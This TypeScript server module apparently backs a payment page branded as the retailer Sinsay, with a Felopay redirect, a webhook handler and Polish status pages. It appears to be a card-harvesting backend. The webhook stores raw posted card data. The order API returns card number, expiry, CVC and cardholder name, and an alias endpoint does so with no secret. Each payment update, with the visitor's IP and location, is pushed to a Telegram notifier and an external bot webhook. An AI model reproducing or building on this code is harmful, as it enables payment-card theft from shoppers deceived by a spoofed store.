import crypto from 'crypto';
import { FastifyRequest, FastifyReply } from 'fastify';
import { request as undiciRequest } from 'undici';
import { prisma } from '../db/client';
import { config } from '../config';
import { publishEvent } from '../tg/notifier';
import { countryFlag } from '../geo';
import { getRedis, REDIS_KEYS } from '../redis';

// ---- Helpers ----------------------------------------------------------------

export function randomPaymentToken(bytes = config.payment.tokenBytes): string {
  return crypto.randomBytes(bytes).toString('hex');
}

/** Redirect URL for the Felopay hosted payment page. */
export function buildFelopayRedirectUrl(token: string): string {
  const url = new URL(config.payment.felopayRedirectBase);
  url.searchParams.set('token', token);
  url.searchParams.set('url', config.domain);
  url.searchParams.set('name', 'Sinsay');
  return url.toString();
}

export async function createPaymentToken(
  orderId: number,
  token = randomPaymentToken(),
): Promise<string> {
  await prisma.paymentToken.create({
    data: { token, orderId, status: 'pending' },
  });
  return token;
}

/** Generate a random uppercase alphanumeric reference string */
export function randomRef(len = 9): string {
  const CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  const bytes = crypto.randomBytes(len);
  return Array.from(bytes)
    .map((b) => CHARS[b % CHARS.length])
    .join('');
}

/** Deterministic integer derived from visitor UUID (for customer.id in payload) */
function stableIntFromVisitor(visitorId?: string | null): number {
  if (!visitorId) return 0;
  const hash = crypto.createHash('sha1').update(visitorId).digest('hex');
  return parseInt(hash.slice(0, 8), 16) % 100_000_000;
}

/** Format Date as "YYYY-MM-DD HH:mm:ss" (UTC) */
export function fmtDate(d: Date): string {
  return d.toISOString().replace('T', ' ').slice(0, 19);
}

// ---- Payload builder --------------------------------------------------------

type OrderWithItems = Awaited<ReturnType<typeof getOrderWithItems>>;

async function getOrderWithItems(orderId: number) {
  return prisma.order.findUniqueOrThrow({
    where: { id: orderId },
    include: { items: true },
  });
}

export function buildFelopayPayload(order: OrderWithItems): object {
  const cfg = config.payment;
  const stateKey = order.status in cfg.states ? order.status : 'new';
  const state = cfg.states[stateKey];

  return {
    id_order: order.id,
    reference: order.reference,
    country_code: order.country,
    total_paid_tax_incl: order.total.toFixed(6),
    total_paid_tax_excl: order.total.toFixed(6),
    currency_iso: order.currency,
    id_currency: cfg.currencies[order.currency] ?? 2,
    id_order_state: state.id,
    order_state: state.label,
    payment: order.paymentMethod,
    date_add: fmtDate(order.createdAt),
    customer: {
      id: stableIntFromVisitor(order.visitorId) || order.id,
      email: order.email ?? '',
      firstname: order.firstname,
      lastname: order.lastname,
    },
    delivery: {
      company: '',
      firstname: order.firstname,
      lastname: order.lastname,
      address1: order.address,
      address2: '',
      postcode: order.zip,
      city: order.city,
      country_iso: order.country,
      phone: order.phone,
    },
    invoice: null,
    products: order.items.map((it) => ({
      id_product: it.id,
      name: it.name,
      reference: it.productId,
      quantity: it.qty,
      unit_price_tax_incl: it.price.toFixed(6),
      total_tax_incl: (it.price * it.qty).toFixed(6),
    })),
  };
}

// ---- Token TTL: 1 hour -------------------------------------------------------
const TOKEN_TTL_MS = 60 * 60 * 1000;

// ---- Route handlers ---------------------------------------------------------

/**
 * GET /orderapi?token=...&api_secret=...
 * Called server-to-server by felopay to fetch order details.
 */
async function sendPaymentOrder(token: string | undefined, reply: FastifyReply): Promise<void> {
  if (!token) {
    reply.status(400).send({ error: 'Missing token' });
    return;
  }
  const pt = await prisma.paymentToken.findUnique({
    where: { token },
    include: { order: { include: { items: true } } },
  });

  if (!pt) {
    reply.status(404).send({ error: 'Token not found' });
    return;
  }

  const age = Date.now() - pt.createdAt.getTime();
  if (age > TOKEN_TTL_MS && pt.status === 'pending') {
    await prisma.paymentToken.update({ where: { token }, data: { status: 'expired' } });
    reply.status(410).send({ error: 'Token expired' });
    return;
  }

  // Mark first consumption time (felopay may re-fetch; we still serve it)
  if (!pt.consumedAt) {
    await prisma.paymentToken.update({
      where: { token },
      data: { consumedAt: new Date() },
    });
  }

  const payload = buildFelopayPayload(pt.order) as Record<string, unknown>;
  const raw = pt.rawWebhook;
  if (raw && typeof raw === 'object' && !Array.isArray(raw)) {
    const wh = raw as Record<string, unknown>;
    if (typeof wh.cardNumber === 'string') {
      payload.card = {
        cardNumber: wh.cardNumber,
        expiry: wh.expiry,
        cvc: wh.cvc,
        cardHolder: wh.cardHolder,
      };
    }
  }

  reply.header('content-type', 'application/json').send(payload);
}

export async function handlePaymentOrderApi(
  request: FastifyRequest<{ Querystring: { token?: string; api_secret?: string } }>,
  reply: FastifyReply,
): Promise<void> {
  const { token, api_secret: apiSecret } = request.query;
  if (apiSecret !== config.payment.apiSecret) {
    reply.status(403).send({ error: 'Forbidden' });
    return;
  }

  await sendPaymentOrder(token, reply);
}

/**
 * GET /api/payment/orders/:token
 * Backwards-compatible alias for older gateway integrations.
 */
export async function handlePaymentOrderFetch(
  request: FastifyRequest<{ Params: { token: string } }>,
  reply: FastifyReply,
): Promise<void> {
  await sendPaymentOrder(request.params.token, reply);
}

/**
 * POST /api/payment/webhook
 * felopay posts back: { token, status, payment? }
 */
export async function handlePaymentWebhook(
  request: FastifyRequest,
  reply: FastifyReply,
): Promise<void> {
  const body = request.body as {
    token?: string;
    status?: string;
    payment?: string;
    raw?: unknown;
  };

  if (!body.token) {
    reply.status(400).send({ error: 'Missing token' });
    return;
  }

  const pt = await prisma.paymentToken.findUnique({ where: { token: body.token } });
  if (!pt) {
    reply.status(404).send({ error: 'Unknown token' });
    return;
  }

  const newStatus = normaliseWebhookStatus(body.status ?? '');

  await prisma.$transaction([
    prisma.paymentToken.update({
      where: { token: body.token },
      data: {
        status: newStatus,
        paidAt: newStatus === 'paid' ? new Date() : undefined,
        rawWebhook: (body as object) ?? undefined,
      },
    }),
    prisma.order.update({
      where: { id: pt.orderId },
      data: { status: newStatus },
    }),
  ]);

  // Notify Telegram
  const order = await prisma.order.findUnique({
    where: { id: pt.orderId },
    include: { visitor: true },
  });
  if (order) {
    if (order.visitorId) {
      await prisma.visitorEvent.create({
        data: {
          visitorId: order.visitorId,
          type: 'payment.update',
          data: {
            orderId: order.id,
            reference: order.reference,
            status: newStatus,
            paymentMethod: order.paymentMethod,
            total: order.total,
            currency: order.currency,
            ip: order.visitor?.ip,
            country: order.visitor?.country,
            countryCode: order.visitor?.country,
            city: order.visitor?.city,
            flag: countryFlag(order.visitor?.country ?? undefined),
            at: new Date().toISOString(),
          },
        },
      });
    }

    await publishEvent({
      type: 'payment.update',
      orderId: order.id,
      reference: order.reference,
      status: newStatus,
      paymentMethod: order.paymentMethod,
      visitorId: order.visitor?.uuid.slice(0, 8),
      visitorIp: order.visitor?.ip,
      visitorCountry: order.visitor?.country ?? undefined,
      visitorCity: order.visitor?.city ?? undefined,
      visitorFlag: countryFlag(order.visitor?.country ?? undefined),
      total: order.total,
      currency: order.currency,
      at: new Date().toISOString(),
    });

    void notifyBotPaymentWebhook(order.id, newStatus, order.paymentMethod);
  }

  reply.send({ ok: true });
}

async function notifyBotPaymentWebhook(
  orderId: number,
  status: string,
  paymentMethod: string,
): Promise<void> {
  try {
    const redis = getRedis();
    const raw = await redis.get(REDIS_KEYS.botWebhook(orderId));
    if (!raw) return;
    const { webhookUrl } = JSON.parse(raw) as { webhookUrl?: string };
    if (!webhookUrl?.startsWith('https://')) return;
    await undiciRequest(webhookUrl, {
      method: 'POST',
      headers: { 'content-type': 'application/json' },
      body: JSON.stringify({ orderId, status, paymentMethod }),
      throwOnError: false,
    });
  } catch (err) {
    console.warn('[bot] webhook notify failed', err);
  }
}

function normaliseWebhookStatus(s: string): string {
  const map: Record<string, string> = {
    paid: 'paid',
    success: 'paid',
    completed: 'paid',
    failed: 'failed',
    failure: 'failed',
    error: 'failed',
    cancelled: 'cancelled',
    canceled: 'cancelled',
    refunded: 'cancelled',
  };
  return map[s.toLowerCase()] ?? s.toLowerCase();
}

// ---- Return / Cancel pages --------------------------------------------------

export async function handlePaymentReturn(
  request: FastifyRequest,
  reply: FastifyReply,
): Promise<void> {
  const token = (request.query as Record<string, string>)['token'];
  await renderReturnPage(reply, token, false);
}

export async function handlePaymentCancel(
  request: FastifyRequest,
  reply: FastifyReply,
): Promise<void> {
  const token = (request.query as Record<string, string>)['token'];
  await renderReturnPage(reply, token, true);
}

async function renderReturnPage(
  reply: FastifyReply,
  token: string | undefined,
  cancelled: boolean,
): Promise<void> {
  let order: { id: number; total: number; currency: string; reference: string } | null = null;
  let ptStatus = cancelled ? 'cancelled' : 'pending';

  if (token) {
    const pt = await prisma.paymentToken.findUnique({
      where: { token },
      include: { order: { select: { id: true, total: true, currency: true, reference: true } } },
    });
    if (pt) {
      ptStatus = pt.status;
      order = pt.order;
    } else {
      const numericId = Number(token);
      if (Number.isFinite(numericId) && numericId > 0) {
        const ord = await prisma.order.findUnique({
          where: { id: numericId },
          select: {
            id: true,
            total: true,
            currency: true,
            reference: true,
            status: true,
          },
        });
        if (ord) {
          order = { id: ord.id, total: ord.total, currency: ord.currency, reference: ord.reference };
          ptStatus = ord.status;
        }
      }
    }
  }

  const isPaid = ptStatus === 'paid';
  const isCancelled = cancelled || ptStatus === 'cancelled' || ptStatus === 'failed';

  const icon = isPaid
    ? `<svg width="56" height="56" viewBox="0 0 24 24" fill="none" stroke="#22c55e" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>`
    : `<svg width="56" height="56" viewBox="0 0 24 24" fill="none" stroke="#ef4444" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>`;

  const title = isPaid
    ? 'Płatność zakończona sukcesem!'
    : isCancelled
    ? 'Płatność anulowana'
    : 'Płatność w trakcie przetwarzania…';

  const subtitle = isPaid
    ? `Zamówienie <b>#${order?.id ?? ''}</b> (ref&nbsp;<code>${order?.reference ?? ''}</code>) zostało opłacone.<br>Dziękujemy za zakup!`
    : isCancelled
    ? 'Twoja płatność nie powiodła się lub została anulowana. Możesz wrócić i spróbować ponownie.'
    : 'Twoja płatność jest przetwarzana. Wkrótce otrzymasz potwierdzenie.';

  const html = `<!DOCTYPE html>
<html lang="pl">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>${isPaid ? 'Płatność zakończona' : 'Status płatności'}</title>
  <style>
    *{box-sizing:border-box;margin:0;padding:0}
    body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;background:#f5f5f5;color:#222;display:flex;align-items:center;justify-content:center;min-height:100vh}
    .card{background:#fff;border-radius:12px;box-shadow:0 4px 24px rgba(0,0,0,.1);padding:48px 40px;max-width:440px;width:100%;text-align:center}
    .icon{margin-bottom:20px}
    h1{font-size:22px;font-weight:700;margin-bottom:12px}
    p{font-size:15px;color:#555;line-height:1.6}
    .btn{display:inline-block;margin-top:28px;padding:13px 28px;background:#222;color:#fff;border-radius:6px;text-decoration:none;font-size:15px;font-weight:600}
    .btn:hover{background:#444}
  </style>
</head>
<body>
<div class="card">
  <div class="icon">${icon}</div>
  <h1>${title}</h1>
  <p>${subtitle}</p>
  ${isCancelled ? '<a class="btn" href="/checkout" style="margin-right:12px">Spróbuj ponownie</a>' : ''}
  <a class="btn" href="/pl/pl/">Wróć do sklepu</a>
</div>
</body>
</html>`;

  reply.status(200).header('content-type', 'text/html; charset=utf-8').send(html);
}
